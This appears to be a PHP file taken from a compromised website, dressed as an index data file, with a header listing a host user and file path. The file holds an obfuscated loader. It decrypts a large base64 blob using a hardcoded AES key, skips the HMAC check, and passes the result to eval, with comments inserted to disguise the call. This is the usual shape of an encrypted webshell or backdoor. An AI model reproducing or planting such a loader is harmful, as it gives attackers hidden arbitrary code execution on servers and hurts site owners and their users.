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User: mbp (1631)
PHP: 7.4.15
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File: /home/mbp/domains/mbp.ac.th/public_html/old/index.php.dat
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
/*1747623597 AMDL*/eVaL(/*Super*/
/*saltLength*/$decrypted/*73731*/);